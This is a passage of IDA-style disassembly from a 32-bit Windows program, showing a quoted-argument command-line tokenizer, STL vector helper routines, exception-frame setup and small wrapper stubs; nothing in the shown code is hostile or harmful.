arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		mov	edi, [esp+44h+arg_8]
		mov	esi, ecx
		test	edi, edi
		mov	[esp+44h+var_38], 0
		jnz	short loc_40A471
		mov	esi, [esp+44h+arg_0]
		push	offset byte_446F70
		mov	ecx, esi
		call	sub_401861
		jmp	loc_40A5A4
; ---------------------------------------------------------------------------


loc_40A471:				; CODE XREF: sub_40A430+2Aj
		lea	eax, [esp+44h+arg_8]
		lea	ecx, [esp+44h+var_34]
		push	eax
		call	sub_401690
		mov	ecx, [esi+9]
		mov	[esp+44h+var_4], 1
		push	ecx
		lea	ecx, [esp+48h+var_24]
		call	sub_401861
		lea	ecx, [esp+44h+var_24]
		mov	byte ptr [esp+44h+var_4], 2
		call	sub_4014D3
		mov	[esp+44h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jz	loc_40A555
		push	ebx


loc_40A4B1:				; CODE XREF: sub_40A430+11Ej
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40A4C0


loc_40A4B7:				; CODE XREF: sub_40A430+8Ej
		inc	eax
		mov	[esp+48h+var_3C], eax
		cmp	[eax], dl
		jz	short loc_40A4B7


loc_40A4C0:				; CODE XREF: sub_40A430+85j
		cmp	byte ptr [eax],	22h
		setz	bl
		test	bl, bl
		jz	short loc_40A4CF
		inc	eax
		mov	[esp+48h+var_3C], eax


loc_40A4CF:				; CODE XREF: sub_40A430+98j
		lea	edx, [esp+48h+var_3C]
		lea	ecx, [esp+48h+var_34]
		push	edx
		call	sub_401988
		mov	eax, [esp+48h+var_3C]
		test	bl, bl
		mov	cl, [eax]
		jz	short loc_40A51F
		test	cl, cl
		jz	short loc_40A507


loc_40A4EB:				; CODE XREF: sub_40A430+D5j
		cmp	cl, 22h
		jnz	short loc_40A4FC
		mov	cl, [eax+1]
		cmp	cl, 20h
		jz	short loc_40A507
		test	cl, cl
		jz	short loc_40A507


loc_40A4FC:				; CODE XREF: sub_40A430+BEj
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A4EB


loc_40A507:				; CODE XREF: sub_40A430+B9j
					; sub_40A430+C6j ...
		cmp	byte ptr [eax],	0
		jz	short loc_40A54A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		mov	cl, [eax+1]
		test	cl, cl
		jz	short loc_40A54A
		add	eax, 2
		jmp	short loc_40A546
; ---------------------------------------------------------------------------


loc_40A51F:				; CODE XREF: sub_40A430+B5j
		test	cl, cl
		jz	short loc_40A534
		mov	dl, [edi]


loc_40A525:				; CODE XREF: sub_40A430+102j
		cmp	cl, dl
		jz	short loc_40A534
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A525


loc_40A534:				; CODE XREF: sub_40A430+F1j
					; sub_40A430+F7j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40A54A
		cmp	cl, [edi]
		jnz	short loc_40A54A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		inc	eax


loc_40A546:				; CODE XREF: sub_40A430+EDj
		mov	[esp+48h+var_3C], eax


loc_40A54A:				; CODE XREF: sub_40A430+DAj
					; sub_40A430+E8j ...
		mov	cl, [eax]
		test	cl, cl
		jnz	loc_40A4B1
		pop	ebx


loc_40A555:				; CODE XREF: sub_40A430+7Aj
		lea	ecx, [esp+44h+var_34]
		call	sub_4011F9
		mov	ecx, [esp+44h+arg_4]
		cmp	ecx, eax
		jb	short loc_40A56D
		push	offset byte_446F70
		jmp	short loc_40A57A
; ---------------------------------------------------------------------------


loc_40A56D:				; CODE XREF: sub_40A430+134j
		push	ecx
		lea	ecx, [esp+48h+var_34]
		call	sub_401F64
		mov	eax, [eax]
		push	eax


loc_40A57A:				; CODE XREF: sub_40A430+13Bj
		mov	esi, [esp+48h+arg_0]
		mov	ecx, esi
		call	sub_401861
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_38], 1
		call	sub_401226
		lea	ecx, [esp+44h+var_34]
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_40158C
; ---------------------------------------------------------------------------


loc_40A5A4:				; CODE XREF: sub_40A430+3Cj
		mov	ecx, [esp+44h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_40A430	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A630	proc near		; CODE XREF: sub_4016AEj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	eax, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	0
		push	eax
		push	edx
		push	esi
		mov	[esp+18h+var_4], 0
		call	sub_4011EA
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	0Ch
sub_40A630	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A670	proc near		; CODE XREF: sub_40200Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		pop	esi
		retn	4
sub_40A670	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A6A0	proc near		; CODE XREF: sub_401A87j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015D7
		retn	4
sub_40A6A0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A6C0	proc near		; CODE XREF: sub_40146Fj

arg_0		= dword	ptr  4

		mov	eax, [ecx+9]
		mov	ecx, [esp+arg_0]
		add	eax, ecx
		retn	4
sub_40A6C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A6E0:				; CODE XREF: ___:0040149Cj
		mov	eax, [ecx+9]
		mov	ecx, [esp+4]
		add	eax, ecx
		retn	4
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A700	proc near		; CODE XREF: sub_401389j
		mov	eax, [ecx+9]
		retn
sub_40A700	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A720	proc near		; CODE XREF: sub_4017E4j
		mov	eax, [ecx+9]
		retn
sub_40A720	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A740	proc near		; CODE XREF: sub_4014D3j
		mov	eax, [ecx+9]
		retn
sub_40A740	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A760	proc near		; CODE XREF: sub_401690j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_40A760	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A790	proc near		; CODE XREF: sub_40158Cj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
sub_40A790	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7E0	proc near		; CODE XREF: sub_4011F9j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40A7EA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40A7EA:				; CODE XREF: sub_40A7E0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_40A7E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A810	proc near		; CODE XREF: sub_401F64j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_4011F9
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_40A828
		mov	ecx, esi
		call	sub_401EE7


loc_40A828:				; CODE XREF: sub_40A810+Fj
		mov	ecx, esi
		call	sub_401D1B
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_40A810	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A850	proc near		; CODE XREF: sub_401988j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40164F
		push	eax
		mov	ecx, esi
		call	sub_4016EF
		pop	esi
		retn	4
sub_40A850	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A880	proc near		; CODE XREF: sub_401D1Bj
		mov	eax, [ecx+4]
		retn
sub_40A880	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8A0	proc near		; CODE XREF: sub_40164Fj
		mov	eax, [ecx+8]
		retn
sub_40A8A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8C0	proc near		; CODE XREF: sub_4016EFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401D1B
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_4013CF
		mov	ecx, edi
		call	sub_401D1B
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_40A8C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A910	proc near		; CODE XREF: sub_4019A6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_40A930


loc_40A921:				; CODE XREF: sub_40A910+1Ej
		push	esi
		mov	ecx, edi
		call	sub_4018B1
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_40A921


loc_40A930:				; CODE XREF: sub_40A910+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40A910	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A950:				; CODE XREF: sub_401EE7j
		push	0FFFFFFFFh
		push	offset loc_438AB9
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		nop
		call	near ptr 76081F67h
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		call	near ptr 760A0430h
		nop
		lea	edx, [esp+14h]
		push	offset dword_43F080
		push	edx
		call	sub_436832
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A9D0	proc near		; CODE XREF: sub_4011EFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_40A9D0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9F0	proc near		; CODE XREF: sub_4013CFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40AABB
		mov	ecx, esi
		call	sub_4011F9
		cmp	edi, eax
		jnb	short loc_40AA23
		mov	ecx, esi
		call	sub_4011F9
		mov	ebp, eax
		jmp	short loc_40AA25
; ---------------------------------------------------------------------------


loc_40AA23:				; CODE XREF: sub_40A9F0+26j
		mov	ebp, edi


loc_40AA25:				; CODE XREF: sub_40A9F0+31j
		mov	ecx, esi
		call	sub_4011F9
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401DCF
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010CD
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_402176
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_4011F9
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AABB:				; CODE XREF: sub_40A9F0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_40AB19
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_402176
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401E6F
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AB19:				; CODE XREF: sub_40A9F0+D8j
		test	edi, edi
		jbe	short loc_40AB53
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4010CD
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_4020AE
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401E6F
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_40AB53:				; CODE XREF: sub_40A9F0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40A9F0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ABC0	proc near		; CODE XREF: sub_4018B1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_1
		pop	ecx
		retn	4
sub_40ABC0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ABE0	proc near		; CODE XREF: sub_4010CDj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_40AC12
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_40ABF6:				; CODE XREF: sub_40ABE0+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_402121
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_40ABF6
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AC12:				; CODE XREF: sub_40ABE0+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40ABE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AC30	proc near		; CODE XREF: sub_402176j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_40AC57
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_40AC46:				; CODE XREF: sub_40AC30+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_402121
		add	esi, 4
		dec	edi
		jnz	short loc_40AC46
		pop	esi
		pop	ebx


loc_40AC57:				; CODE XREF: sub_40AC30+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_40AC30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AC70	proc near		; CODE XREF: sub_401DCFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4014CE
sub_40AC70	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACA0	proc near		; CODE XREF: sub_402121j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401DE8
		add	esp, 8
		retn	8
sub_40ACA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACD0	proc near		; CODE XREF: sub_401E6Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40ACED
		mov	edx, [esp+arg_8]
		push	esi


loc_40ACE1:				; CODE XREF: sub_40ACD0+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_40ACE1
		pop	esi

locret_40ACED:				; CODE XREF: sub_40ACD0+Aj
		retn
sub_40ACD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD00	proc near		; CODE XREF: sub_4020AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_40AD22
		mov	eax, [esp+arg_8]
		push	esi


loc_40AD11:				; CODE XREF: sub_40AD00+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_40AD11
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AD22:				; CODE XREF: sub_40AD00+Aj
		mov	eax, [esp+arg_8]
		retn
sub_40AD00	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AD60	proc near		; CODE XREF: sub_4014CEj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40AD6A
		xor	eax, eax


loc_40AD6A:				; CODE XREF: sub_40AD60+6j
		shl	eax, 2
		push	eax
		call	sub_4367FA
sub_40AD60	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD90	proc near		; CODE XREF: sub_401DE8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40ADAB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40ADAB:				; CODE XREF: sub_40AD90+11j
		retn
sub_40AD90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADC0	proc near		; CODE XREF: sub_401E6Aj
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E014
		retn
sub_40ADC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40ADE0:				; CODE XREF: ___:00401717j
					; ___:loc_402027j
		push	esi
		mov	esi, ecx
		call	sub_402031
		test	byte ptr [esp+8], 1
		jz	short loc_40ADF8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40ADF8:				; CODE XREF: ___:0040ADEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE10	proc near		; CODE XREF: sub_402031j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AE10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ecx], offset	off_43E014
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	sub_401744


loc_40AE41:				; DATA XREF: sub_40AE52o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AE10	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AE52	proc near		; DATA XREF: ___:0043F1BCo
		mov	eax, offset loc_40AE41
		retn
sub_40AE52	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE80	proc near		; CODE XREF: sub_4014BAj
		call	sub_401708
		jmp	sub_4017B2
sub_40AE80	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEA0	proc near		; CODE XREF: sub_401B18j
		call	sub_40161D
		jmp	sub_4017C1
sub_40AEA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEC0	proc near		; CODE XREF: sub_4013D4j
		push	esi
		mov	esi, ecx
		push	esi
		push	offset sub_40141F
		lea	eax, [esi+0Ch]
		push	0
		push	eax
		call	sub_40123A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40AEE2
		mov	al, 1
		mov	[esi+10h], al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AEE2:				; CODE XREF: sub_40AEC0+19j
		mov	byte ptr [esi+10h], 0
		xor	al, al
		pop	esi
		retn
sub_40AEC0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AF00:				; CODE XREF: ___:004011C2j
		push	ecx
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40AF27
		mov	ecx, [esi+0Ch]
		lea	eax, [esp+4]
		push	eax
		push	ecx
		call	sub_40175D
		mov	eax, [esp+0Ch]
		add	esp, 8
		mov	byte ptr [esi+10h], 0
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40AF27:				; CODE XREF: ___:0040AF09j
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF40	proc near		; CODE XREF: sub_401744j
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40AF5C
		mov	eax, [esi+0Ch]
		push	0Fh
		push	eax
		call	sub_401758
		add	esp, 8
		mov	byte ptr [esi+10h], 0


loc_40AF5C:				; CODE XREF: sub_40AF40+8j
		pop	esi
		retn
sub_40AF40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AF70:				; CODE XREF: ___:004011F4j
		mov	eax, [ecx+0Ch]
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF90	proc near		; CODE XREF: sub_40141Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AF90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	eax, [ecx]
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	dword ptr [eax+4]


loc_40AFBE:				; DATA XREF: sub_40AFD1o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AF90	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AFD1	proc near		; DATA XREF: ___:0043F21Co
		mov	eax, offset loc_40AFBE
		retn
sub_40AFD1	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B000	proc near		; CODE XREF: sub_401028j

var_8		= dword	ptr -8
var_4		= byte ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B042
		mov	edx, [esi+0Ch]
		lea	eax, [esp+0Ch+var_8]
		lea	ecx, [esp+0Ch+var_4]
		push	eax
		push	ecx
		push	edx
		call	sub_40218F
		mov	edx, [esi+0Ch]
		mov	eax, [esp+18h+var_8]
		lea	ecx, [esp+18h+var_8]
		mov	[esi+8], eax
		push	ecx
		push	1
		push	edx
		mov	[esp+24h+var_8], 0
		call	sub_401050
		add	esp, 18h


loc_40B042:				; CODE XREF: sub_40B000+Bj
		pop	esi
		add	esp, 8
		retn
sub_40B000	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B070	proc near		; CODE XREF: sub_401DCAj

var_4		= dword	ptr -4

		push	ecx
		mov	al, [ecx+10h]
		test	al, al
		jz	short loc_40B092
		mov	eax, [ecx+8]
		lea	edx, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		mov	eax, [ecx+0Ch]
		push	edx
		push	1
		push	eax
		call	sub_401050
		add	esp, 0Ch


loc_40B092:				; CODE XREF: sub_40B070+6j
		pop	ecx
		retn
sub_40B070	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

